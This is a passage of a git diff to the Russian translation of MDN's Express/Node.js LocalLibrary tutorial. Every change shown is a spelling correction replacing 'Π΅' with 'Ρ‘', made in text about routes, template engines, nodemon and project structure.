+<p>ΠžΡ‚ΠΊΡ€ΠΎΠΉΡ‚Π΅Β <strong>/routes/index.js</strong>Β ΠΈ Π·Π°ΠΌΠ΅Π½ΠΈΡ‚Π΅ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΡƒΡŽ Π½ΠΈΠΆΠ΅.</p>
<pre class="brush: js">// GET home page.
router.get('/', function(req, res) {
@@ -582,7 +582,7 @@ app.use('/users', usersRouter);
<strong>app.use('/catalog', catalogRouter); // Add catalog routes to middleware chain.</strong></pre>
<div class="note">
-<p><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°:</strong>Β ΠœΡ‹ Π΄ΠΎΠ±Π°Π²ΠΈΠ»ΠΈ ΠΌΠΎΠ΄ΡƒΠ»ΡŒ ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³Π° Π² ΠΏΡƒΡ‚ΡŒ<code>'/catalog'</code>.Β  Π­Ρ‚ΠΎΡ‚ ΠΏΡƒΡ‚ΡŒ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€Π΅Π΄ΡˆΠ΅ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ всСм путям, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌ Π² ΠΌΠΎΠ΄ΡƒΠ»Π΅ ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³Π°. НапримСр, для доступа ΠΊ списку ΠΊΠ½ΠΈΠ³Β URL Π±ΡƒΠ΄Π΅Ρ‚ Ρ‚Π°ΠΊΠΈΠΌ: <code>/catalog/books/</code>.</p>
+<p><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°:</strong>Β ΠœΡ‹ Π΄ΠΎΠ±Π°Π²ΠΈΠ»ΠΈ ΠΌΠΎΠ΄ΡƒΠ»ΡŒ ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³Π° Π² ΠΏΡƒΡ‚ΡŒ<code>'/catalog'</code>.Β  Π­Ρ‚ΠΎΡ‚ ΠΏΡƒΡ‚ΡŒ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€Π΅Π΄ΡˆΠ΅ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ всСм путям, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌ Π² ΠΌΠΎΠ΄ΡƒΠ»Π΅ ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³Π°. НапримСр, для доступа ΠΊ списку ΠΊΠ½ΠΈΠ³Β URL Π±ΡƒΠ΄Π΅Ρ‚ Ρ‚Π°ΠΊΠΈΠΌ: <code>/catalog/books/</code>.</p>
</div>
<p>Π’ΠΎΡ‚ Ρ‚Π°ΠΊ. Π’Π΅ΠΏΠ΅Ρ€ΡŒ Ρƒ нас Π΅ΡΡ‚ΡŒ ΠΏΡƒΡ‚ΠΈ ΠΈ Ρ„ΠΈΠΊΡ‚ΠΈΠ²Π½Ρ‹Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, ΠΏΠΎΠ΄Π³ΠΎΡ‚ΠΎΠ²Π»Π΅Π½Π½Ρ‹Π΅ для всСх  URL, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΡ‹ собираСмся ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒ Π½Π° Π²Π΅Π±-сайтС LocalLibrary.</p>
diff --git a/files/ru/learn/server-side/express_nodejs/skeleton_website/index.html b/files/ru/learn/server-side/express_nodejs/skeleton_website/index.html
index 1ed22246de..7f01cbf62e 100644
--- a/files/ru/learn/server-side/express_nodejs/skeleton_website/index.html
+++ b/files/ru/learn/server-side/express_nodejs/skeleton_website/index.html
@@ -73,7 +73,7 @@ translation_of: Learn/Server-side/Express_Nodejs/skeleton_website
<h3 id="Какой_Π΄Π²ΠΈΠΆΠΎΠΊ_прСдставлСний_слСдуСт_ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ">Какой Π΄Π²ΠΈΠΆΠΎΠΊ прСдставлСний ΡΠ»Π΅Π΄ΡƒΠ΅Ρ‚Β ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ?</h3>
-<p><em>Express-generator</em><em> </em>Π΄Π°Π΅Ρ‚ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΡΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ нСсколько популярных Π΄Π²ΠΈΠΆΠΊΠΎΠ², Π²ΠΊΠ»ΡŽΡ‡Π°ΡΒ <a href="https://www.npmjs.com/package/ejs">EJS</a>, <a href="http://github.com/donpark/hbs">Hbs</a>, <a href="https://pugjs.org/api/getting-started.html">Pug</a> (Jade), <a href="https://www.npmjs.com/package/twig">Twig</a>, ΠΈΒ <a href="https://www.npmjs.com/package/vash">Vash</a>, Π½ΠΎ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽΒ  Π²Ρ‹Π±Ρ€Π°Π½ Jade. ЭкспрСсс сразу послС установки ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒ большоС количСство ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΡ… ΡˆΠ°Π±Π»ΠΎΠ½ΠΈΠ·Π°Ρ‚ΠΎΡ€ΠΎΠ².</p>
+<p><em>Express-generator</em><em> </em>Π΄Π°Ρ‘Ρ‚ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΡΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ нСсколько популярных Π΄Π²ΠΈΠΆΠΊΠΎΠ², Π²ΠΊΠ»ΡŽΡ‡Π°ΡΒ <a href="https://www.npmjs.com/package/ejs">EJS</a>, <a href="http://github.com/donpark/hbs">Hbs</a>, <a href="https://pugjs.org/api/getting-started.html">Pug</a> (Jade), <a href="https://www.npmjs.com/package/twig">Twig</a>, ΠΈΒ <a href="https://www.npmjs.com/package/vash">Vash</a>, Π½ΠΎ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽΒ  Π²Ρ‹Π±Ρ€Π°Π½ Jade. ЭкспрСсс сразу послС установки ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒ большоС количСство ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΡ… ΡˆΠ°Π±Π»ΠΎΠ½ΠΈΠ·Π°Ρ‚ΠΎΡ€ΠΎΠ².</p>
<div class="note">
<p><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°:</strong>Β ΠŸΡ€ΠΈ ΠΆΠ΅Π»Π°Π½ΠΈΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΡˆΠ°Π±Π»ΠΎΠ½ΠΈΠ·Π°Ρ‚ΠΎΡ€, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π½Π΅ поддСрТиваСтся Π³Π΅Π½Π΅Ρ€Π°Ρ‚ΠΎΡ€ΠΎΠΌ,Β  просмотритС  Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ†ΠΈΡŽ <a href="https://expressjs.com/en/guide/using-template-engines.html"><font color="#3d7e9a"><font face="x-locale-heading-primary, zillaslab, Palatino, Palatino Linotype, x-locale-heading-secondary, serif"><font size="3">Using template engines with Express</font></font></font></a><font color="#333333"><font face="x-locale-heading-primary, zillaslab, Palatino, Palatino Linotype, x-locale-heading-secondary, serif"><font size="3">Β </font></font></font>Β ΠΈ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ†ΠΈΡŽ для Π½ΡƒΠΆΠ½ΠΎΠ³ΠΎ ΡˆΠ°Π±Π»ΠΎΠ½ΠΈΠ·Π°Ρ‚ΠΎΡ€Π°.</p>
@@ -86,7 +86,7 @@ translation_of: Learn/Server-side/Express_Nodejs/skeleton_website
<li>ΠŸΠΎΠΏΡƒΠ»ΡΡ€Π½ΠΎΡΡ‚ΡŒ ΠΈ Π°ΠΊΡ‚ΠΈΠ²Π½ΠΎΡΡ‚ΡŒΒ β€” ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡŒΡ‚Π΅ ΠΏΠΎΠΏΡƒΠ»ΡΡ€Π½ΠΎΡΡ‚ΡŒ Π΄Π²ΠΈΠΆΠΊΠ°, Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, Ρƒ Π½Π΅Π³ΠΎ Π΅ΡΡ‚ΡŒ Π°ΠΊΡ‚ΠΈΠ²Π½ΠΎΠ΅ сообщСство. ΠžΡ‡Π΅Π½ΡŒ Π²Π°ΠΆΠ½ΠΎ ΠΈΠΌΠ΅Ρ‚ΡŒ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΡƒ для Π΄Π²ΠΈΠΆΠΊΠ°, Ссли у вас Π²ΠΎΠ·Π½ΠΈΠΊΠ½ΡƒΡ‚Β ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ Π² Ρ‚Π΅Ρ‡Π΅Π½ΠΈΠΈ ΠΆΠΈΠ·Π½ΠΈ Π²Π΅Π±-сайта.</li>
<li>Π‘Ρ‚ΠΈΠ»ΡŒΒ β€” Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΡˆΠ°Π±Π»ΠΎΠ½ΠΈΠ·Π°Ρ‚ΠΎΡ€Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ ΠΎΡΠΎΠ±ΡƒΡŽΒ Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΡƒ для отобраТСния вставлСнного ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° Π²Π½ΡƒΡ‚Ρ€ΠΈ "ΠΎΠ±Ρ‹Ρ‡Π½ΠΎΠ³ΠΎ" HTML, Π° Π΄Ρ€ΡƒΠ³ΠΈΠ΅ строят  HTML, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹ΠΉΒ ΡΠΈΠ½Ρ‚Π°ΠΊΡΠΈΡ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ отступы ΠΈΠ»ΠΈ Π±Π»ΠΎΡ‡Π½Ρ‹Π΅ ΠΈΠΌΠ΅Π½Π°).</li>
<li>ΠŸΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ ΠΈ врСмя ΠΈΠ½Ρ‚Π΅Ρ€ΠΏΡ€Π΅Ρ‚Π°Ρ†ΠΈΠΈ.</li>
- <li>ΠžΡΠΎΠ±Π΅Π½Π½ΠΎΡΡ‚ΠΈ β€” ΡΠ»Π΅Π΄ΡƒΠ΅Ρ‚Β Π²Ρ‹Π±ΠΈΡ€Π°Ρ‚ΡŒ Π΄Π²ΠΈΠΆΠΎΠΊΒ  с ΡƒΡ‡Π΅Ρ‚ΠΎΠΌ таких особСнностСй:
+ <li>ΠžΡΠΎΠ±Π΅Π½Π½ΠΎΡΡ‚ΠΈ β€” ΡΠ»Π΅Π΄ΡƒΠ΅Ρ‚Β Π²Ρ‹Π±ΠΈΡ€Π°Ρ‚ΡŒ Π΄Π²ΠΈΠΆΠΎΠΊΒ  с ΡƒΡ‡Ρ‘Ρ‚ΠΎΠΌ таких особСнностСй:
<ul>
<li>НаслСдованиС ΠΌΠ°ΠΊΠ΅Ρ‚Π°: ΠΏΠΎΠ·Π²ΠΎΠ»ΡΠ΅Ρ‚Β ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ Π±Π°Π·ΠΎΠ²Ρ‹ΠΉ шаблон ΠΈ Π·Π°Ρ‚Π΅ΠΌ Π½Π°ΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‚Π΅ части, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΡ‚Π»ΠΈΡ‡Π°ΡŽΡ‚ΡΡΒ Π΄Π»Ρ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΠΎΠΉ страницы. Π­Ρ‚ΠΎ, ΠΊΠ°ΠΊ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ, Π»ΡƒΡ‡ΡˆΠΈΠΉ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄, Ρ‡Π΅ΠΌ созданиС шаблонов ΠΏΡƒΡ‚Ρ‘ΠΌ Π²ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹Ρ… ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ΠΎΠ² ΠΈΠ»ΠΈ создания шаблона с нуля ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π·.</li>
<li>ΠŸΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ° Β«IncludeΒ»: позволяСт ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ ΡˆΠ°Π±Π»ΠΎΠ½Ρ‹, Π²ΠΊΠ»ΡŽΡ‡Π°Ρ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ ΡˆΠ°Π±Π»ΠΎΠ½Ρ‹.</li>
@@ -207,7 +207,7 @@ GET /favicon.ico 404 34.134 ms - 1335</pre>
<h2 id="ΠžΠ±Π΅ΡΠΏΠ΅Ρ‡ΠΈΠ²Π°Π΅ΠΌ_пСрСзапуск_сСрвСра_ΠΏΡ€ΠΈ_ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΈ_Ρ„Π°ΠΉΠ»ΠΎΠ²">ΠžΠ±Π΅ΡΠΏΠ΅Ρ‡ΠΈΠ²Π°Π΅ΠΌ<br>
пСрСзапуск сСрвСра ΠΏΡ€ΠΈ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΈ Ρ„Π°ΠΉΠ»ΠΎΠ²</h2>
-<p>Π›ΡŽΠ±Ρ‹Π΅ измСнСния, внСсСнныС Π½Π° Π²Π΅Π±-сайт Express,Β Π½Π΅ Π±ΡƒΠ΄ΡƒΡ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒΡΡ Π΄ΠΎ пСрСзапуска сСрвСра. ΠžΡΡ‚Π°Π½ΠΎΠ²ΠΊΠ° (Ctrl-C) ΠΈ пСрСзапуск сСрвСра ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π· послС внСсСния ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ быстро становится Ρ€Π°Π·Π΄Ρ€Π°ΠΆΠ°ΡŽΡ‰Π΅ΠΉ, поэтому стоит Π°Π²Ρ‚ΠΎΠΌΠ°Ρ‚ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ пСрСзапуск.</p>
+<p>Π›ΡŽΠ±Ρ‹Π΅ измСнСния, внСсённыС Π½Π° Π²Π΅Π±-сайт Express,Β Π½Π΅ Π±ΡƒΠ΄ΡƒΡ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒΡΡ Π΄ΠΎ пСрСзапуска сСрвСра. ΠžΡΡ‚Π°Π½ΠΎΠ²ΠΊΠ° (Ctrl-C) ΠΈ пСрСзапуск сСрвСра ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π· послС внСсСния ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ быстро становится Ρ€Π°Π·Π΄Ρ€Π°ΠΆΠ°ΡŽΡ‰Π΅ΠΉ, поэтому стоит Π°Π²Ρ‚ΠΎΠΌΠ°Ρ‚ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ пСрСзапуск.</p>
<p>Одно из самых простых срСдств для этого --<br>
<a href="https://github.com/remy/nodemon">nodemon</a>. Π•Π³ΠΎ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ ΡƒΡΡ‚Π°Π½Π°Π²Π»ΠΈΠ²Π°ΡŽΡ‚ глобально (Ρ‚Π°ΠΊ как это "инструмСнт"), Π½ΠΎΒ  сСйчас ΠΌΡ‹ установим Π΅Π³ΠΎ ΠΈ Π±ΡƒΠ΄Π΅ΠΌ ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡ‚ΡŒ локально ΠΊΠ°ΠΊ Π·Π°Π²ΠΈΡΠΈΠΌΠΎΡΡ‚ΡŒ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ Π»ΡŽΠ±Ρ‹Π΅ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π° ΠΏΠΎΠ»ΡƒΡ‡Π°Ρ‚ Π΅Π³ΠΎ автоматичСски ΠΏΡ€ΠΈ установкС прилоТСния. Π’Ρ‹ΠΏΠΎΠ»Π½ΠΈΠΌ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΡƒΡŽ ΠΊΠΎΠΌΠ°Π½Π΄Ρƒ (ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»Π°Π³Π°Π΅ΠΌ, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ находимся Π² ΠΊΠΎΡ€Π½Π΅Π²ΠΎΠΌ ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³Π΅):</p>
@@ -254,7 +254,7 @@ GET /favicon.ico 404 34.134 ms - 1335</pre>
<pre class="notranslate"><code>DEBUG=express-locallibrary-tutorial:* npm <strong>run devstart</strong></code></pre>
<div class="note">
-<p><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°:</strong> БСйчас послС измСнСния любого Ρ„Π°ΠΉΠ»Π° ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π° сСрвСр Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠ΅Ρ€Π΅Π·Π°ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒΡΡ (ΠΈΠ»ΠΈ ΠΌΠΎΠΆΠ½ΠΎ ΡΠ°ΠΌΠΎΡΡ‚ΠΎΡΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΏΠ΅Ρ€Π΅Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ Π΅Π³ΠΎ, ввСдя <code>rs</code> Π² ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠΉ строкС). Π’Π°ΠΌ всС Ρ€Π°Π²Π½ΠΎ придСтся ΠΎΠ±Π½ΠΎΠ²ΠΈΡ‚ΡŒ страницу Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅ .</p>
+<p><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°:</strong> БСйчас послС измСнСния любого Ρ„Π°ΠΉΠ»Π° ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π° сСрвСр Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠ΅Ρ€Π΅Π·Π°ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒΡΡ (ΠΈΠ»ΠΈ ΠΌΠΎΠΆΠ½ΠΎ ΡΠ°ΠΌΠΎΡΡ‚ΠΎΡΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΏΠ΅Ρ€Π΅Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ Π΅Π³ΠΎ, ввСдя <code>rs</code> Π² ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠΉ строкС). Π’Π°ΠΌ всС Ρ€Π°Π²Π½ΠΎ придётся ΠΎΠ±Π½ΠΎΠ²ΠΈΡ‚ΡŒ страницу Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅ .</p>
<p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ ΠΌΡ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ ΠΊΠΎΠΌΠ°Π½Π΄Ρƒ "<code>npm run </code><em>&lt;scriptname&gt;</em>" Π° Π½Π΅ просто  <code>npm start</code>, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ "start", это, ΠΏΠΎ сути, ΠΊΠΎΠΌΠ°Π½Π΄Π° NPM, сопоставлСнная ΡΡ†Π΅Π½Π°Ρ€ΠΈΡŽ Π² Ρ„Π°ΠΉΠ»Π΅ package.json. МоТно Π·Π°ΠΌΠ΅Π½ΠΈΡ‚ΡŒ ΠΊΠΎΠΌΠ°Π½Π΄Ρƒ Π² сцСнарии "start", Π½ΠΎ, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ nodemon Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π²ΠΎ врСмя Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ, Ρ€Π°Π·ΡƒΠΌΠ½ΠΎ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Π½ΠΎΠ²ΡƒΡŽ ΠΊΠΎΠΌΠ°Π½Π΄Ρƒ сцСнария.</p>
</div>
@@ -265,7 +265,7 @@ GET /favicon.ico 404 34.134 ms - 1335</pre>
<h3 id="Π‘Ρ‚Ρ€ΡƒΠΊΡ‚ΡƒΡ€Π°_ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³ΠΎΠ²">Π‘Ρ‚Ρ€ΡƒΠΊΡ‚ΡƒΡ€Π° ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³ΠΎΠ²</h3>
-<p>ПослС установки зависимостСй ΠΏΡ€ΠΎΠ΅ΠΊΡ‚ ΠΈΠΌΠ΅Π΅Ρ‚ Ρ‚Π°ΠΊΡƒΡŽ структуру Ρ„Π°ΠΉΠ»ΠΎΠ² (Ρ„Π°ΠΉΠ»Ρ‹ - это элСмСнты <strong>Π±Π΅Π· </strong>прСфикса"/"). Π€Π°ΠΉΠ»Β <strong>package.json</strong> опрСдСляСт имя Ρ„Π°ΠΉΠ»Π° с ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ΠΌ, сцСнарии запуска, зависимости ΠΈ Π΄Ρ€.Β  Π‘Ρ†Π΅Π½Π°Ρ€ΠΈΠΉ запуска Π·Π°Π΄Π°Π΅Ρ‚ Ρ‚ΠΎΡ‡ΠΊΡƒ Π²Ρ…ΠΎΠ΄Π° прилоТСния, Ρƒ нас -- Ρ„Π°ΠΉΠ» JavaScript <strong>/bin/www</strong>. Π­Ρ‚ΠΎΡ‚ файл настраиваСт Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ ошибок прилоТСния, Π° Π·Π°Ρ‚Π΅ΠΌ Π·Π°Π³Ρ€ΡƒΠΆΠ°Π΅Ρ‚Β  <strong>app.js </strong>для Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΡΒ ΠΎΡΡ‚Π°Π»ΡŒΠ½ΠΎΠΉΒ Ρ€Π°Π±ΠΎΡ‚Ρ‹. ΠŸΡƒΡ‚ΠΈΒ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΡ хранятся Π² ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Ρ… модулях каталога <strong>routes/</strong>.Β  Π¨Π°Π±Π»ΠΎΠ½Ρ‹ хранятся Π² ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³Π΅Β /<strong>views</strong>.</p>
+<p>ПослС установки зависимостСй ΠΏΡ€ΠΎΠ΅ΠΊΡ‚ ΠΈΠΌΠ΅Π΅Ρ‚ Ρ‚Π°ΠΊΡƒΡŽ структуру Ρ„Π°ΠΉΠ»ΠΎΠ² (Ρ„Π°ΠΉΠ»Ρ‹ - это элСмСнты <strong>Π±Π΅Π· </strong>прСфикса"/"). Π€Π°ΠΉΠ»Β <strong>package.json</strong> опрСдСляСт имя Ρ„Π°ΠΉΠ»Π° с ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ΠΌ, сцСнарии запуска, зависимости ΠΈ Π΄Ρ€.Β  Π‘Ρ†Π΅Π½Π°Ρ€ΠΈΠΉ запуска Π·Π°Π΄Π°Ρ‘Ρ‚ Ρ‚ΠΎΡ‡ΠΊΡƒ Π²Ρ…ΠΎΠ΄Π° прилоТСния, Ρƒ нас -- Ρ„Π°ΠΉΠ» JavaScript <strong>/bin/www</strong>. Π­Ρ‚ΠΎΡ‚ файл настраиваСт Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ ошибок прилоТСния, Π° Π·Π°Ρ‚Π΅ΠΌ Π·Π°Π³Ρ€ΡƒΠΆΠ°Π΅Ρ‚Β  <strong>app.js </strong>для Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΡΒ ΠΎΡΡ‚Π°Π»ΡŒΠ½ΠΎΠΉΒ Ρ€Π°Π±ΠΎΡ‚Ρ‹. ΠŸΡƒΡ‚ΠΈΒ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΡ хранятся Π² ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Ρ… модулях каталога <strong>routes/</strong>.Β  Π¨Π°Π±Π»ΠΎΠ½Ρ‹ хранятся Π² ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³Π΅Β /<strong>views</strong>.</p>
<pre class="notranslate">/express-locallibrary-tutorial
<strong>app.js</strong>
@@ -321,7 +321,7 @@ GET /favicon.ico 404 34.134 ms - 1335</pre>
<ul>
<li><a href="https://www.npmjs.com/package/body-parser">body-parser</a>: --Β Π°Π½Π°Π»ΠΈΠ·ΠΈΡ€ΡƒΠ΅Ρ‚ Ρ‡Π°ΡΡ‚ΡŒ Ρ‚Π΅Π»Π° входящСго запроса HTTP ΠΈ ΠΎΠ±Π»Π΅Π³Ρ‡Π°Π΅Ρ‚ ΠΈΠ·Π²Π»Π΅Ρ‡Π΅Π½ΠΈΠ΅ ΠΈΠ· Π½Π΅Π³ΠΎ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… частСй. НапримСр, ΠΌΡ‹ ΠΌΠΎΠΆΠ½ΠΎΒ Ρ‡ΠΈΡ‚Π°Ρ‚ΡŒΒ <code>POST-</code>ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹.</li>
- <li><a href="https://www.npmjs.com/package/cookie-parser">cookie-parser</a>: Ρ€Π°Π·Π±ΠΈΡ€Π°Π΅Ρ‚Β Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ ΠΈ заполняСт <code>req.cookies</code> (ΠΏΠΎ сути,Β Π΄Π°Π΅Ρ‚Β ΡƒΠ΄ΠΎΠ±Π½Ρ‹ΠΉ ΠΌΠ΅Ρ‚ΠΎΠ΄ для доступа ΠΊ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ cookie).</li>
+ <li><a href="https://www.npmjs.com/package/cookie-parser">cookie-parser</a>: Ρ€Π°Π·Π±ΠΈΡ€Π°Π΅Ρ‚Β Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ ΠΈ заполняСт <code>req.cookies</code> (ΠΏΠΎ сути,Β Π΄Π°Ρ‘Ρ‚Β ΡƒΠ΄ΠΎΠ±Π½Ρ‹ΠΉ ΠΌΠ΅Ρ‚ΠΎΠ΄ для доступа ΠΊ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ cookie).</li>
<li><a href="https://www.npmjs.com/package/debug">debug</a>: нСбольшой ΠΎΡ‚Π»Π°Π΄Ρ‡ΠΈΠΊ, Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‰ΠΈΠΉ ΠΏΠΎ ΠΎΠ±Ρ€Π°Π·Ρ†Ρƒ ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΈΠΊΠΈ ΠΎΡ‚Π»Π°Π΄ΠΊΠΈ ядра node.</li>
